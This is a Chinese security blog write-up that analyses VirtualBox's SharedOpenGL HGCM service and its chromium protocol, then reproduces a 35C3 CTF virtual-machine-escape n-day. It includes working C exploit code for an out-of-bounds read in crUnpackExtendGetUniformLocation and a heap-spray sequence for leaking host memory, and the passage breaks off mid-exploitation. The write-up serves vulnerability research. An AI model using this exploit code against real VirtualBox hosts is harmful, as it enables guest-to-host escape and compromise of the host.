VirtualBox虚拟机逃逸之SharedOpenGL模块

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发布时间 : 2021-05-06 14:30:27

 

0x00 前言

最近研究VirtualBox虚拟机逃逸,前面分析了VirtualBox的HGCM通信协议,本文我们基于HGCM协议与SharedOpenGL模块进行通信,并分析SharedOpenGL中使用的chromium协议,复现SharedOpenGL中出现的历史漏洞从而进行虚拟机逃逸。

 

0x01 前置知识

chromium协议

引言

我们使用HGCM通信协议,可以在Guest中与主机的一些服务进行通信,其中有一个服务名为SharedOpenGL,这是一个用于3D加速的服务,首先主机中的VirtualBox需要开启3D加速才能在Guest中进行调用

src\VBox\GuestHost\OpenGL目录下,是位于Guest中的组件源码,该组件在Guest中通过HGCM协议与Host中的SharedOpenGL进行连接,然后使用了他们之间的一套新的协议(称之为“chromium协议”)来进行数据交换,对于src\VBox\GuestHost\OpenGL,我们不用去分析其实现,因为它就是一个相当于客户端一样的东西,我们重点分析Host中的SharedOpenGL

首先看到src\VBox\HostServices\SharedOpenGL\crserver\crservice.cpp源文件中的svcCall函数,前面介绍过,这是HGCM对SharedOpenGL模块的函数调用入口。

svcCall

static DECLCALLBACK(void) svcCall (void *, VBOXHGCMCALLHANDLE callHandle, uint32_t u32ClientID, void *pvClient,
                                   uint32_t u32Function, uint32_t cParms, VBOXHGCMSVCPARM paParms[], uint64_t tsArrival)
{
..................................................
    switch (u32Function)
    {
        case SHCRGL_GUEST_FN_WRITE:
        {
..................................
                /* Fetch parameters. */
                uint8_t *pBuffer  = (uint8_t *)paParms[0].u.pointer.addr;
                uint32_t cbBuffer = paParms[0].u.pointer.size;

                /* Execute the function. */
                rc = crVBoxServerClientWrite(u32ClientID, pBuffer, cbBuffer);
...................................
            break;
        }

        case SHCRGL_GUEST_FN_INJECT:
        {
.......................................
                /* Fetch parameters. */
                uint32_t u32InjectClientID = paParms[0].u.uint32;
                uint8_t *pBuffer  = (uint8_t *)paParms[1].u.pointer.addr;
                uint32_t cbBuffer = paParms[1].u.pointer.size;

                /* Execute the function. */
                rc = crVBoxServerClientWrite(u32InjectClientID, pBuffer, cbBuffer);
.................................
            break;
        }

        case SHCRGL_GUEST_FN_READ:
        {
...........................................
            /* Fetch parameters. */
            uint8_t *pBuffer  = (uint8_t *)paParms[0].u.pointer.addr;
            uint32_t cbBuffer = paParms[0].u.pointer.size;

            /* Execute the function. */
            rc = crVBoxServerClientRead(u32ClientID, pBuffer, &cbBuffer);
.....................................................
            break;
        }

        case SHCRGL_GUEST_FN_WRITE_READ:
        {
..................................................
                /* Fetch parameters. */
                uint8_t *pBuffer     = (uint8_t *)paParms[0].u.pointer.addr;
                uint32_t cbBuffer    = paParms[0].u.pointer.size;

                uint8_t *pWriteback  = (uint8_t *)paParms[1].u.pointer.addr;
                uint32_t cbWriteback = paParms[1].u.pointer.size;

                /* Execute the function. */
                rc = crVBoxServerClientWrite(u32ClientID, pBuffer, cbBuffer);
                if (!RT_SUCCESS(rc))
                {
                    Assert(VERR_NOT_SUPPORTED==rc);
                    svcClientVersionUnsupported(0, 0);
                }

                rc = crVBoxServerClientRead(u32ClientID, pWriteback, &cbWriteback);
...........................................
            break;
        }

        case SHCRGL_GUEST_FN_SET_VERSION:
        {
.........................................
                /* Fetch parameters. */
                uint32_t vMajor    = paParms[0].u.uint32;
                uint32_t vMinor    = paParms[1].u.uint32;

                /* Execute the function. */
                rc = crVBoxServerClientSetVersion(u32ClientID, vMajor, vMinor);
................................
            break;
        }

        case SHCRGL_GUEST_FN_SET_PID:
        {
  ................................
                /* Fetch parameters. */
                uint64_t pid    = paParms[0].u.uint64;

                /* Execute the function. */
                rc = crVBoxServerClientSetPID(u32ClientID, pid);
.........................
            break;
        }

        case SHCRGL_GUEST_FN_WRITE_BUFFER:
        {
..................................
                /* Fetch parameters. */
                uint32_t iBuffer      = paParms[0].u.uint32;
                uint32_t cbBufferSize = paParms[1].u.uint32;
                uint32_t ui32Offset   = paParms[2].u.uint32;
                uint8_t *pBuffer      = (uint8_t *)paParms[3].u.pointer.addr;
                uint32_t cbBuffer     = paParms[3].u.pointer.size;

                /* Execute the function. */
                CRVBOXSVCBUFFER_t *pSvcBuffer = svcGetBuffer(iBuffer, cbBufferSize);
                if (!pSvcBuffer || ((uint64_t)ui32Offset+cbBuffer)>cbBufferSize)
                {
                    rc = VERR_INVALID_PARAMETER;
                }
                else
                {
                    memcpy((void*)((uintptr_t)pSvcBuffer->pData+ui32Offset), pBuffer, cbBuffer);

                    /* Return the buffer id */
                    paParms[0].u.uint32 = pSvcBuffer->uiId;
......................
            break;
        }

        case SHCRGL_GUEST_FN_WRITE_READ_BUFFERED:
        {
 .................................
                /* Fetch parameters. */
                uint32_t iBuffer = paParms[0].u.uint32;
                uint8_t *pWriteback  = (uint8_t *)paParms[1].u.pointer.addr;
                uint32_t cbWriteback = paParms[1].u.pointer.size;

                CRVBOXSVCBUFFER_t *pSvcBuffer = svcGetBuffer(iBuffer, 0);
                if (!pSvcBuffer)
                {
                    LogRel(("OpenGL: svcCall(WRITE_READ_BUFFERED): Invalid buffer (%d)\n", iBuffer));
                    rc = VERR_INVALID_PARAMETER;
                    break;
                }

                uint8_t *pBuffer     = (uint8_t *)pSvcBuffer->pData;
                uint32_t cbBuffer    = pSvcBuffer->uiSize;

                /* Execute the function. */
                rc = crVBoxServerClientWrite(u32ClientID, pBuffer, cbBuffer);
                if (!RT_SUCCESS(rc))
                {
                    Assert(VERR_NOT_SUPPORTED==rc);
                    svcClientVersionUnsupported(0, 0);
                }

                rc = crVBoxServerClientRead(u32ClientID, pWriteback, &cbWriteback);

                if (RT_SUCCESS(rc))
                {
                    /* Update parameters.*/
                    paParms[1].u.pointer.size = cbWriteback;
                }
                /* Return the required buffer size always */
                paParms[2].u.uint32 = cbWriteback;

                svcFreeBuffer(pSvcBuffer);
            }

            break;
        }

从上面的源码我们可以知道

That sequence can be performed by the Chromium client in
different ways:

  1. Single-step: send the rendering commands and receive the
    resulting frame buffer with one single message.
  2. Two-step: send a message with the rendering commands
    and let the server interpret them, then send another
    message requesting the resulting frame buffer.
  3. Buffered: send the rendering commands and let the server
    store them in a buffer without interpreting it, then send a
    second message to make the server interpret the buffered
    commands and return the resulting frame buffer.

Guest中的客户端会通过HGCM发送一连串的命令到SharedOpenGL服务中被解析并返回图形渲染的结果给Guest。其中我们注意到SHCRGL_GUEST_FN_WRITE_BUFFER分支

SHCRGL_GUEST_FN_WRITE_BUFFER

                /* Execute the function. */
                CRVBOXSVCBUFFER_t *pSvcBuffer = svcGetBuffer(iBuffer, cbBufferSize);

进入svcGetBuffer函数

static CRVBOXSVCBUFFER_t* svcGetBuffer(uint32_t iBuffer, uint32_t cbBufferSize)
{
    CRVBOXSVCBUFFER_t* pBuffer;

    if (iBuffer)
    {
...........................
    }
    else /*allocate new buffer*/
    {
        pBuffer = (CRVBOXSVCBUFFER_t*) RTMemAlloc(sizeof(CRVBOXSVCBUFFER_t));
        if (pBuffer)
        {
            pBuffer->pData = RTMemAlloc(cbBufferSize);
.........................

其中我们注意到当参数iBuffer为0时,会申请两个堆RTMemAlloc(sizeof(CRVBOXSVCBUFFER_t))RTMemAlloc(cbBufferSize),由于参数是可以自由控制的,因此通过该功能,我们可以自由的申请堆块,在Heap Spray中,这个非常有用。通过分析,SHCRGL_GUEST_FN_WRITE_BUFFER命令的功能就是从Guset中接收一串数据,并存入Buffer中,如果Buffer不存在则创建一个新的
我们将这个过程封装为函数用于使用

int alloc_buf(int client,int size,const char *msg,int msg_len) {
   int rc = hgcm_call(client,SHCRGL_GUEST_FN_WRITE_BUFFER,"%u%u%u%b",0,size,0,"in",msg,msg_len);
   if (rc) {
      die("[-] alloc_buf error");
   }
   return ans_buf[0];
}

SHCRGL_GUEST_FN_WRITE_READ_BUFFERED

接下来我们看到SHCRGL_GUEST_FN_WRITE_READ_BUFFERED命令,首先是该命令需要3个参数

            /* Verify parameter count and types. */
            if (cParms != SHCRGL_CPARMS_WRITE_READ_BUFFERED)
            {
                rc = VERR_INVALID_PARAMETER;
            }
            else
            if (    paParms[0].type != VBOX_HGCM_SVC_PARM_32BIT   /* iBufferID */
                 || paParms[1].type != VBOX_HGCM_SVC_PARM_PTR     /* pWriteback */
                 || paParms[2].type != VBOX_HGCM_SVC_PARM_32BIT   /* cbWriteback */
                 || !paParms[0].u.uint32 /*iBufferID can't be 0 here*/
               )
            {
                rc = VERR_INVALID_PARAMETER;
            }

第一个为iBufferID,也就是通过SHCRGL_GUEST_FN_WRITE_BUFFER命令创建的buffer对应的ID;第二个参数为pWriteback,是一个指针,用于在Guest中接收处理后的数据;第三个参数为cbWriteback表示数据长度。
我们将调用封装为函数用于使用

char crmsg_buf[0x1000];

int crmsg(int client,const char *msg,int msg_len) {
   int buf_id = alloc_buf(client,0x1000,msg,msg_len);
   int rc = hgcm_call(client,SHCRGL_GUEST_FN_WRITE_READ_BUFFERED,"%u%b%u",buf_id,"out",crmsg_buf,0x1000,0x1000);
   if (rc) {
      die("[-] crmsg error");
   }
}

为了便于分析,我们写了一个测试程序

int main() {
   int idClient = hgcm_connect("VBoxSharedCrOpenGL");
   printf("idClient=%d\n",idClient);
   set_version(idClient);
   crmsg(idClient,"hello",0x6);
}

这里我们简单的发送hello到host中,看看会发生什么。
继续向下看

                CRVBOXSVCBUFFER_t *pSvcBuffer = svcGetBuffer(iBuffer, 0);
                if (!pSvcBuffer)
                {
                    LogRel(("OpenGL: svcCall(WRITE_READ_BUFFERED): Invalid buffer (%d)\n", iBuffer));
                    rc = VERR_INVALID_PARAMETER;
                    break;
                }

                uint8_t *pBuffer     = (uint8_t *)pSvcBuffer->pData;
                uint32_t cbBuffer    = pSvcBuffer->uiSize;

                /* Execute the function. */
                rc = crVBoxServerClientWrite(u32ClientID, pBuffer, cbBuffer);

通过iBuffer索引获取到了pBuffer以后,传入crVBoxServerClientWrite函数进行处理,我们进入该函数。

int32_t crVBoxServerClientWrite(uint32_t u32ClientID, uint8_t *pBuffer, uint32_t cbBuffer)
{
    CRClient *pClient=NULL;
    int32_t rc = crVBoxServerClientGet(u32ClientID, &pClient);

该函数首先调用crVBoxServerClientGet获取服务句柄

int32_t crVBoxServerClientGet(uint32_t u32ClientID, CRClient **ppClient)
{
    CRClient *pClient = NULL;

    pClient = crVBoxServerClientById(u32ClientID);

    if (!pClient)
    {
        WARN(("client not found!"));
        *ppClient = NULL;
        return VERR_INVALID_PARAMETER;
    }

    if (!pClient->conn->vMajor)
    {
        WARN(("no major version specified for client!"));
        *ppClient = NULL;
        return VERR_NOT_SUPPORTED;
    }

crVBoxServerClientGet函数中,会判断pClient->conn->vMajor,如果没有设置则报错。该字段是在svcCall中的SHCRGL_GUEST_FN_SET_VERSION命令中被设置的

        case SHCRGL_GUEST_FN_SET_VERSION:
        {
...........
                /* Fetch parameters. */
                uint32_t vMajor    = paParms[0].u.uint32;
                uint32_t vMinor    = paParms[1].u.uint32;

                /* Execute the function. */
                rc = crVBoxServerClientSetVersion(u32ClientID, vMajor, vMinor);

因此,在我们使用SHCRGL_GUEST_FN_WRITE_BUFFER之前,应该先使用SHCRGL_GUEST_FN_SET_VERSION设置一下版本

int set_version(int client) {
   int rc = hgcm_call(client,SHCRGL_GUEST_FN_SET_VERSION,"%u%u",CR_PROTOCOL_VERSION_MAJOR,CR_PROTOCOL_VERSION_MINOR);
   if (rc) {
      die("[-] set_version error");
   }
   return 0;
}

int32_t rc = crVBoxServerClientGet(u32ClientID, &pClient);执行完获取到服务句柄以后,就继续调用crVBoxServerInternalClientWriteRead函数

    pClient->conn->pBuffer = pBuffer;
    pClient->conn->cbBuffer = cbBuffer;
#ifdef VBOX_WITH_CRHGSMI
    CRVBOXHGSMI_CMDDATA_ASSERT_CLEANED(&pClient->conn->CmdData);
#endif

    crVBoxServerInternalClientWriteRead(pClient);

    return VINF_SUCCESS;
}

crVBoxServerInternalClientWriteRead函数如下

static void crVBoxServerInternalClientWriteRead(CRClient *pClient)
{
............................
    crNetRecv();
    CRASSERT(pClient->conn->pBuffer==NULL && pClient->conn->cbBuffer==0);
    CRVBOXHGSMI_CMDDATA_ASSERT_CLEANED(&pClient->conn->CmdData);

    crServerServiceClients();
    crStateResetCurrentPointers(&cr_server.current);
..............

先是调用了crNetRecv函数,经过调试,调用链如下

pwndbg> k
#0  0x00007f1b3db9ff05 in _crVBoxHGCMReceiveMessage (conn=0x7f1b1cf408c0) at /home/sea/Desktop/VirtualBox-6.0.0/src/VBox/GuestHost/OpenGL/util/vboxhgcm.c:1091
#1  0x00007f1b3dba13cc in _crVBoxHGCMPerformReceiveMessage (conn=0x7f1b1cf408c0) at /home/sea/Desktop/VirtualBox-6.0.0/src/VBox/GuestHost/OpenGL/util/vboxhgcm.c:2425
#2  0x00007f1b3dba141c in crVBoxHGCMRecv () at /home/sea/Desktop/VirtualBox-6.0.0/src/VBox/GuestHost/OpenGL/util/vboxhgcm.c:2482
#3  0x00007f1b3db80238 in crNetRecv () at /home/sea/Desktop/VirtualBox-6.0.0/src/VBox/GuestHost/OpenGL/util/net.c:1307
#4  0x00007f1b3ddea7b4 in crVBoxServerInternalClientWriteRead (pClient=0x7f1b1d04da10) at /home/sea/Desktop/VirtualBox-6.0.0/src/VBox/HostServices/SharedOpenGL/crserverlib/server_main.c:754
#5  0x00007f1b3ddeacb1 in crVBoxServerClientWrite (u32ClientID=35, pBuffer=0x7f1b1d04e3f0 "hello", cbBuffer=4096) at /home/sea/Desktop/VirtualBox-6.0.0/src/VBox/HostServices/SharedOpenGL/crserverlib/server_main.c:792
#6  0x00007f1b3ddce7c7 in svcCall (callHandle=0x7f1b34c93f50, u32ClientID=35, pvClient=0x7f1b3000a7e0, u32Function=14, cParms=3, paParms=0x7f1b5452d560, tsArrival=29122886987445) at /home/sea/Desktop/VirtualBox-6.0.0/src/VBox/HostServices/SharedOpenGL/crserver/crservice.cpp:740
#7  0x00007f1b6e30325a in hgcmServiceThread (pThread=0x7f1b30003c70, pvUser=0x7f1b30003b10) at /home/sea/Desktop/VirtualBox-6.0.0/src/VBox/Main/src-client/HGCM.cpp:708
#8  0x00007f1b6e300090 in hgcmWorkerThreadFunc (hThreadSelf=0x7f1b30004050, pvUser=0x7f1b30003c70) at /home/sea/Desktop/VirtualBox-6.0.0/src/VBox/Main/src-client/HGCMThread.cpp:200
#9  0x00007f1b8ae47aff in rtThreadMain (pThread=0x7f1b30004050, NativeThread=139754983003904, pszThreadName=0x7f1b30004930 "ShCrOpenGL") at /home/sea/Desktop/VirtualBox-6.0.0/src/VBox/Runtime/common/misc/thread.cpp:719
#10 0x00007f1b8af8e098 in rtThreadNativeMain (pvArgs=0x7f1b30004050) at /home/sea/Desktop/VirtualBox-6.0.0/src/VBox/Runtime/r3/posix/thread-posix.cpp:327
#11 0x00007f1b859da6ba in start_thread (arg=0x7f1b3e1e1700) at pthread_create.c:333
#12 0x00007f1b87fd84dd in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:109

可以知道该函数位于src/VBox/GuestHost/OpenGL/util/net.c源文件,虽然这里位于Guset中的客户端源码,但其实是同样编译了一份给Host用

pwndbg> p crNetRecv
$2 = {int (void)} 0x7f1b3db80208 <crNetRecv>
pwndbg> vmmap 0x7f1b3db80208
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    0x7f1b3db6d000     0x7f1b3dbb3000 r-xp    46000 0      /home/sea/Desktop/VirtualBox-6.0.0/out/linux.amd64/debug/bin/VBoxOGLhostcrutil.so +0x13208
pwndbg>

可以知道其在VBoxOGLhostcrutil.so库中,从调用链可以知道最终调用到_crVBoxHGCMReceiveMessage这里会出现问题

static void _crVBoxHGCMReceiveMessage(CRConnection *conn)
{
    uint32_t len;
    CRVBOXHGCMBUFFER *hgcm_buffer;
    CRMessage *msg;
    CRMessageType cached_type;

    len = conn->cbBuffer;
    CRASSERT(len > 0);
    CRASSERT(conn->pBuffer);

#ifndef IN_GUEST
    /* Expect only CR_MESSAGE_OPCODES from the guest. */
    AssertPtrReturnVoid(conn->pBuffer);

    if (   conn->cbBuffer >= sizeof(CRMessageHeader)
        && ((CRMessageHeader*) (conn->pBuffer))->type == CR_MESSAGE_OPCODES)
    {
        /* Looks good. */
    }
    else
    {
        AssertFailed();
        /** @todo Find out if this is the expected cleanup. */
        conn->cbBuffer = 0;
        conn->pBuffer  = NULL;
        return;
    }
#endif

这里会将我们传入的数据转换为CRMessageHeader结构体,然后判断type是否为CR_MESSAGE_OPCODES,如果不是,则报错

typedef struct {
    CRMessageType          type;
    unsigned int           conn_id;
} CRMessageHeader;

由此可见,我们的数据必须符合要求,当检查通过以后

#ifndef IN_GUEST
    if (conn->allow_redir_ptr)
    {
#endif
        CRASSERT(conn->buffer_size >= sizeof(CRMessageRedirPtr));

        hgcm_buffer = (CRVBOXHGCMBUFFER *) _crVBoxHGCMAlloc( conn ) - 1;
        hgcm_buffer->len = sizeof(CRMessageRedirPtr);

        msg = (CRMessage *) (hgcm_buffer + 1);

        msg->header.type = CR_MESSAGE_REDIR_PTR;
        msg->redirptr.pMessage = (CRMessageHeader*) (conn->pBuffer);
        msg->header.conn_id = msg->redirptr.pMessage->conn_id;

#if defined(VBOX_WITH_CRHGSMI) && !defined(IN_GUEST)
        msg->redirptr.CmdData = conn->CmdData;
        CRVBOXHGSMI_CMDDATA_ASSERT_CONSISTENT(&msg->redirptr.CmdData);
        CRVBOXHGSMI_CMDDATA_CLEANUP(&conn->CmdData);
#endif

        cached_type = msg->redirptr.pMessage->type;

        conn->cbBuffer = 0;
        conn->pBuffer  = NULL;
#ifndef IN_GUEST

如果conn->allow_redir_ptr被设置,会创建一个新的Msg,并设置type为CR_MESSAGE_REDIR_PTR,最后使用crNetDispatchMessage( g_crvboxhgcm.recv_list, conn, msg, len );将消息挂到消息队列上,由此可见这是一种异步多线程的处理方式。最初调用crNetRecv就是为了将请求放到队列中慢慢处理。
回到crVBoxServerInternalClientWriteRead函数

    crNetRecv();
    CRASSERT(pClient->conn->pBuffer==NULL && pClient->conn->cbBuffer==0);
    CRVBOXHGSMI_CMDDATA_ASSERT_CLEANED(&pClient->conn->CmdData);

    crServerServiceClients();
    crStateResetCurrentPointers(&cr_server.current);

接下来该调用crServerServiceClients函数

void
crServerServiceClients(void)
{
    RunQueue *q;

    q = getNextClient(GL_FALSE); /* don't block */
    while (q) 
    {
        ClientStatus stat = crServerServiceClient(q);
        if (stat == CLIENT_NEXT && cr_server.run_queue->next) {
            /* advance to next client */
            cr_server.run_queue = cr_server.run_queue->next;
        }
        q = getNextClient(GL_FALSE);
    }
}

以上可以看出,他是依次取出请求对象,然后使用函数crServerServiceClient进行处理

/**
 * Process incoming/pending message for the given client (queue entry).
 * \return CLIENT_GONE if this client has gone away/exited,
 *         CLIENT_NEXT if we can advance to the next client
 *         CLIENT_MORE if we have to process more messages for this client. 
 */
static ClientStatus
crServerServiceClient(const RunQueue *qEntry)
{
    CRMessage *msg;
    CRConnection *conn;

    /* set current client pointer */
    cr_server.curClient = qEntry->client;

    conn = cr_server.run_queue->client->conn;

    /* service current client as long as we can */
    while (conn && conn->type != CR_NO_CONNECTION &&
                 crNetNumMessages(conn) > 0) {
        unsigned int len;

        /*
        crDebug("%d messages on %p",
                        crNetNumMessages(conn), (void *) conn);
        */

        /* Don't use GetMessage, because we want to do our own crNetRecv() calls
         * here ourself.
         * Note that crNetPeekMessage() DOES remove the message from the queue
         * if there is one.
         */
        len = crNetPeekMessage( conn, &msg );
..........................
        /* Commands get dispatched here */
        crServerDispatchMessage( conn, msg, len );

该函数调用crServerDispatchMessage函数进行opcode的处理

/**
 * This function takes the given message (which should be a buffer of
 * rendering commands) and executes it.
 */
static void
crServerDispatchMessage(CRConnection *conn, CRMessage *msg, int cbMsg)
{
    const CRMessageOpcodes *msg_opcodes;
    int opcodeBytes;
    const char *data_ptr, *data_ptr_end;
...............
    if (msg->header.type == CR_MESSAGE_REDIR_PTR)
    {
#ifdef VBOX_WITH_CRHGSMI
        pCmdData = &msg->redirptr.CmdData;
#endif
        msg = (CRMessage *) msg->redirptr.pMessage;
    }

    CRASSERT(msg->header.type == CR_MESSAGE_OPCODES);

    msg_opcodes = (const CRMessageOpcodes *) msg;
    opcodeBytes = (msg_opcodes->numOpcodes + 3) & ~0x03;

#ifdef VBOXCR_LOGFPS
    CRASSERT(cr_server.curClient && cr_server.curClient->conn && cr_server.curClient->conn->id == msg->header.conn_id);
    cr_server.curClient->conn->opcodes_count += msg_opcodes->numOpcodes;
#endif

    data_ptr = (const char *) msg_opcodes + sizeof(CRMessageOpcodes) + opcodeBytes;
    data_ptr_end = (const char *)msg_opcodes + cbMsg; // Pointer to the first byte after message data

    enmType = crUnpackGetBufferType(data_ptr - 1,             /* first command's opcode */
                msg_opcodes->numOpcodes  /* how many opcodes */);
    switch (enmType)
    {
        case CR_UNPACK_BUFFER_TYPE_GENERIC:
.................
    }
    if (fUnpack)
    {
        crUnpack(data_ptr,                 /* first command's operands */
                 data_ptr_end,             /* first byte after command's operands*/
                 data_ptr - 1,             /* first command's opcode */
                 msg_opcodes->numOpcodes,  /* how many opcodes */
                 &(cr_server.dispatch));   /* the CR dispatch table */
    }
..................
}

crServerDispatchMessage函数首先检查是否为msg->header.type == CR_MESSAGE_REDIR_PTR类型的消息,由于前面将原始消息挂在队列时,由于conn->allow_redir_ptr为true,所以消息确实是被转化为CR_MESSAGE_REDIR_PTR类型的。检查通过后,后面就调用了crUnpack函数来处理Opcode,其中crUnpack函数是通过脚本src/VBox/HostServices/SharedOpenGL/unpacker/unpack.py生成的,可以在编译后的目录out/linux.amd64/debug/obj/VBoxOGLgen/unpack.c里找到

void crUnpack( const void *data, const void *data_end, const void *opcodes, 
        unsigned int num_opcodes, SPUDispatchTable *table )
{
    unsigned int i;
    const unsigned char *unpack_opcodes;
    if (table != cr_lastDispatch)
    {
        crSPUCopyDispatchTable( &cr_unpackDispatch, table );
        cr_lastDispatch = table;
    }

    unpack_opcodes = (const unsigned char *)opcodes;
    cr_unpackData = (const unsigned char *)data;
    cr_unpackDataEnd = (const unsigned char *)data_end;

#if defined(CR_UNPACK_DEBUG_OPCODES) || defined(CR_UNPACK_DEBUG_LAST_OPCODES)
    crDebug("crUnpack: %d opcodes", num_opcodes);
#endif

    for (i = 0; i < num_opcodes; i++)
    {

        CRDBGPTR_CHECKZ(writeback_ptr);
        CRDBGPTR_CHECKZ(return_ptr);

        /*crDebug("Unpacking opcode \%d", *unpack_opcodes);*/
#ifdef CR_UNPACK_DEBUG_PREV_OPCODES
        g_VBoxDbgCrPrevOpcode = *unpack_opcodes;
#endif
        switch( *unpack_opcodes )
        {
            case CR_ALPHAFUNC_OPCODE:
                ................
            case CR_ARRAYELEMENT_OPCODE:
                ..............

可以看到这是Opcode处理机,根据不同的Opcode,对应不同的操作。在cr_opcodes.h头文件中有这些Opcode的定义。
综上分析,SHCRGL_GUEST_FN_WRITE_READ_BUFFERED命令可以将buffer中的opcode进行处理,最后调用crVBoxServerClientRead将结果写回Guest,然后调用svcFreeBuffer对Buffer进行释放。

                rc = crVBoxServerClientRead(u32ClientID, pWriteback, &cbWriteback);

                if (RT_SUCCESS(rc))
                {
                    /* Update parameters.*/
                    paParms[1].u.pointer.size = cbWriteback;
                }
                /* Return the required buffer size always */
                paParms[2].u.uint32 = cbWriteback;

                svcFreeBuffer(pSvcBuffer);

我们可以写出如下的代码

int main() {
   int idClient = hgcm_connect("VBoxSharedCrOpenGL");
   printf("idClient=%d\n",idClient);
   set_version(idClient);
   getchar();
   uint32_t msg[] = {CR_MESSAGE_OPCODES, //type
                0x66666666, //conn_id
                1, //numOpcodes
                0x12345678,
                0x61616161
                };
   crmsg(idClient,msg,sizeof(msg));
}

 

0x02 35C3CTF Virtualbox NDay

chromacity 477
Solves: 2
Please escape VirtualBox. 3D acceleration is enabled for your convenience.
​
No need to analyze the 6.0 patches, they should not contain security fixes.
​
Once you're done, submit your exploit at https://vms.35c3ctf.ccc.ac/, but assume that all passwords are different on the remote setup.
​
Challenge files. Password for the encrypted VM image is the flag for "sanity check".
​
Setup
​
UPDATE: You might need to enable nested virtualization.
​
Hint: https://github.com/niklasb/3dpwn/ might be useful
​
Hint 2: this photo was taken earlier today at C3
​
Difficulty estimate: hard

题目的VirtualBox为6.0.0版本,通过参考资料已经知道了第一个漏洞点出在crUnpackExtendGetUniformLocation函数

crUnpackExtendGetUniformLocation

分析

void crUnpackExtendGetUniformLocation(void)
{
    int packet_length = READ_DATA(0, int);
    GLuint program = READ_DATA(8, GLuint);
    const char *name = DATA_POINTER(12, const char);
    SET_RETURN_PTR(packet_length-16);
    SET_WRITEBACK_PTR(packet_length-8);
    cr_unpackDispatch.GetUniformLocation(program, name);
}

该函数没有检查packet_length,而该字段是我们从Guest中通过HGCM和Chromium协议传入的数据中的,因此完全可控。
为了触发调用该函数,我们使用如下代码

int main() {
   int idClient = hgcm_connect("VBoxSharedCrOpenGL");
   printf("idClient=%d\n",idClient);
   set_version(idClient);
   getchar();
   int offset = 0x200;
   uint32_t msg[] = {CR_MESSAGE_OPCODES, //type
                0x66666666, //conn_id
                1, //numOpcodes
                CR_EXTEND_OPCODE << 24,
                offset, //packet_length
                CR_GETUNIFORMLOCATION_EXTEND_OPCODE, //extend opcode
                0, //program
                *(uint32_t *)"leak" //name
                };
   crmsg(idClient,msg,sizeof(msg));
   for (int i=0;i<100;i++) {
      printf("%02x ",crmsg_buf[i]);
   }
}

通过调试可以知道

In file: /home/sea/Desktop/VirtualBox-6.0.0/src/VBox/HostServices/SharedOpenGL/unpacker/unpack_shaders.c
   346 void crUnpackExtendGetUniformLocation(void)
   347 {
   348     int packet_length = READ_DATA(0, int);
   349     GLuint program = READ_DATA(8, GLuint);
   350     const char *name = DATA_POINTER(12, const char);
 ► 351     SET_RETURN_PTR(packet_length-16);
   352     SET_WRITEBACK_PTR(packet_length-8);
   353     cr_unpackDispatch.GetUniformLocation(program, name);
   354 }
   355 
pwndbg> x /20bx cr_unpackData+0x200-16
0x7f1adc9a03d0:    0x08    0x19    0x00    0x00    0x01    0x14    0x00    0x00
0x7f1adc9a03d8:    0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x7f1adc9a03e0:    0xfa    0x6c    0x28    0xf2

SET_RETURN_PTR操作将cr_unpackData+packet_length-16处的数据拷贝到了Guest中的crmsg_buf中,于是我们可以利用起来进行越界内存地址泄露

为了泄露地址,我们首先使用heap spray布置堆风水。
首先,我们得了解一下当我们与SharedOpenGL服务建立连接时,会创建哪些结构体,当与服务连接时,svcConnect会被HGCM协议调用进行连接初始化

static DECLCALLBACK(int) svcConnect (void *, uint32_t u32ClientID, void *pvClient, uint32_t fRequestor, bool fRestoring)
{
    RT_NOREF(pvClient, fRequestor, fRestoring);

    if (g_u32fCrHgcmDisabled)
    {
        WARN(("connect not expected"));
        return VERR_INVALID_STATE;
    }

    Log(("SHARED_CROPENGL svcConnect: u32ClientID = %d\n", u32ClientID));

    int rc = crVBoxServerAddClient(u32ClientID);

    return rc;
}

crVBoxServerAddClient函数如下

int32_t crVBoxServerAddClient(uint32_t u32ClientID)
{
    CRClient *newClient;
.....

    newClient = (CRClient *) crCalloc(sizeof(CRClient));
 .....
    newClient->conn = crNetAcceptClient(cr_server.protocol, NULL,
                                        cr_server.tcpip_port,
                                        cr_server.mtu, 0);
.................
}

crNetAcceptClient函数如下

CRConnection *
crNetAcceptClient( const char *protocol, const char *hostname,
                                     unsigned short port, unsigned int mtu, int broker )
{
    CRConnection *conn;
...................
    conn = (CRConnection *) crCalloc( sizeof( *conn ) );
}

可以看到这里申请了结构体CRClient和结构体CRConnection的内存。其中CRClient大小为0x9d0CRConnection大小为0x298

利用

我们首先申请N个这么些大小的堆,用于消耗内存碎片

   //heap spray
   for (int i=0;i<600;i++) {
      alloc_buf(client,0x298,"CRConnection_size_fill",23);
   }
   for (int i=0;i<600;i++) {
      alloc_buf(client,0x9d0,"CRClient_size_fill",23);
   }

然后接下来建立一个新的VBoxSharedCrOpenGL服务,由于前面内存碎片耗尽,此时的VBoxSharedCrOpenGL服务申请的CRClientCRConnection很可能相邻

   //CRClient和CRConnection结构体将被创建
   int new_client = hgcm_connect("VBoxSharedCrOpenGL");
   for (int i=0;i<600;i++) {
      alloc_buf(client,0x298,"CRConnection_size_fill",23);
   }
   for (int i=0;i<600;i++) {
      alloc_buf(client,0x9d0,"CRClient_size_fill",23);
   }

接下来,我们将new_client释放,然后使用同样大小的crmsg的buf占位,并且控制OPCODE使得程序进入crUnpackExtendGetUniformLocation函数

   //释放CRClient和CRConnection结构体
   hgcm_disconnect(new_client);

   uint32_t msg[] = {CR_MESSAGE_OPCODES, //type
                0x66666666, //conn_id
                1, //numOpcodes
                CR_EXTEND_OPCODE << 24,
                OFFSET_PCLIENT, //packet_length
                CR_GETUNIFORMLOCATION_EXTEND_OPCODE, //extend opcode
                0, //program
                *(uint32_t *)"leak" //name
                };
   //将crmsg的unpack_buffer申请占位到之前的CRConnection结构体位置,从而进行数据泄露
   crmsg(client,0x298,msg,sizeof(msg));

那么此时的cr_unpackData与原来new_client的空间重合,由于crmsg使用的buf是通过svcGetBuffer生成的,而之前分析过svcGetBuffer是通过RTMemAlloc(cbBufferSize);来申请堆的,RTMemAlloc函数不会清除原空间的内容,调试如下

In file: /home/sea/Desktop/VirtualBox-6.0.0/src/VBox/HostServices/SharedOpenGL/unpacker/unpack_shaders.c
   343     cr_unpackDispatch.GetAttribLocation(program, name);
   344 }
   345 
   346 void crUnpackExtendGetUniformLocation(void)
   347 {
 ► 348     int packet_length = READ_DATA(0, int);
   349     GLuint program = READ_DATA(8, GLuint);
   350     const char *name = DATA_POINTER(12, const char);
   351     SET_RETURN_PTR(packet_length-16);
